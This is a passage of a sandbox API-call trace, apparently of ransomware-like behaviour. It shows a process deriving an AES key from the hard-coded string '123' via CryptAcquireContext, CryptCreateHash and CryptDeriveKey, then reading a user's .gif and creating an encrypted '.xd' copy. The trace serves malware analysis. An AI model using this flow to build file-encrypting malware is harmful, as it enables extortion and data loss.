dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629410*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.045] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.045] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.045] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.045] CloseHandle (hObject=0x0) returned 0 [0060.045] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.045] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.046] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.046] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.046] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.046] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.046] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.046] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.046] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.046] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.046] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.046] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.046] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.046] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.046] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.046] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.047] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.047] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.047] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.047] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.047] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.047] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.064] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.064] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaab0) returned 1 [0060.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.065] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.065] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.065] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.065] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.065] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.065] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.065] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.065] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.065] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.065] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.065] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.066] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.066] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.066] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.066] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.066] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.066] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.066] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.066] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.066] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.066] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.066] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.066] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.066] CryptCreateHash (in: hProv=0x17aaab0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.066] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.067] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.067] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.067] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.067] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.067] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.067] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.067] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.067] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.067] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621678, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.067] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.067] CryptHashData (hHash=0x164c9b0, pbData=0x16293b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.067] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.068] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.068] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.068] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.068] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.068] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.068] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.068] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.068] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.068] CryptDeriveKey (in: hProv=0x17aaab0, Algid=0x6610, hBaseData=0x164c9b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c930) returned 1 [0060.068] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.068] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.068] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.068] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.068] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.068] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.068] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.069] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.069] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.069] CryptDestroyHash (hHash=0x164c9b0) returned 1 [0060.069] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.069] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ywf8iarzc8wfj-lchgm2.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.069] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.069] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.069] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.070] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.070] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0060.082] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\ywf8iarzc8wfj-lchgm2.gif.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.111] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.113] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.114] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xdbc7, lpOverlapped=0x0) returned 1 [0060.115] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.118] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.118] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.118] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.118] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.118] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0060.119] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.119] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0060.119] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.119] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.119] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.119] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0060.119] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0060.119] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0060.119] CryptGetKeyParam (in: hKey=0x164c930, dwParam=0x7, pbData=0x16294e0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294e0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0060.119] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0060.119] 